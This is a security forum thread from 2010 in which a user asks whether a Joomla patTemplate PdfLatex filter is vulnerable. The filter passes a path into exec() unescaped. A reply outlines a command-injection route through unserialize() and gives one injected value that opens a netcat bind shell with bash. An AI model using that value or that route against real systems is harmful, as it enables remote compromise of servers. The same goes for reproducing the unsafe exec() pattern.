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Full disclosure |
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IT Security and Insecurity Portal |
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this file is vuln???? |
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 Posted: Thu Jul 01, 2010 12:22 pm |
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| kr0k0 |
| Advanced user |
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| Joined: Jan 26, 2008 |
| Posts: 128 |
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Hey i m wonderin' if the file is vulnerable or no, With RFI or lfi,remote execution..Look please and tell...
| Code: | <?PHP
// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();
class patTemplate_OutputFilter_PdfLatex extends patTemplate_OutputFilter
{
/**
* filter name
*
* This has to be set in the final
* filter classes.
*
* @var string
*/
var $_name = 'PdfLatex';
var $_params = array(
'cacheFolder' => './'
);
/**
* tidy the data
*
* @access public
* @param string data
* @return string compressed data
*/
function apply( $data )
{
$cacheFolder = $this->getParam('cacheFolder');
$texFile = tempnam($cacheFolder, 'pt_tex_');
$fp = fopen($texFile, 'w');
fwrite($fp, $data);
fclose($fp);
$command = 'pdflatex '.$texFile;
exec($command);
exec($command);
$pdf = $texFile . '.pdf';
$pdf = file_get_contents($pdf);
return $pdf;
}
}
?> |
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| Posted: Thu Jul 01, 2010 7:11 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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| Posted: Fri Jul 02, 2010 5:06 pm |
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| Xuphanc |
| Beginner |
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| Joined: Jul 02, 2010 |
| Posts: 1 |
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If you find a User-tainted UNSERIALIZE() you can change the $cacheFolder to inject OS commands. It depends on your OS if non-existing dirs like
| Code: | | Foo;nc -l -p7777 -e `which bash` |
Are excepted by tempnam(), You'll have to check.  |
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_________________
I asked God for a bike, but I know God doesn´t work that way. So I stole a bike and asked for forgiveness. |
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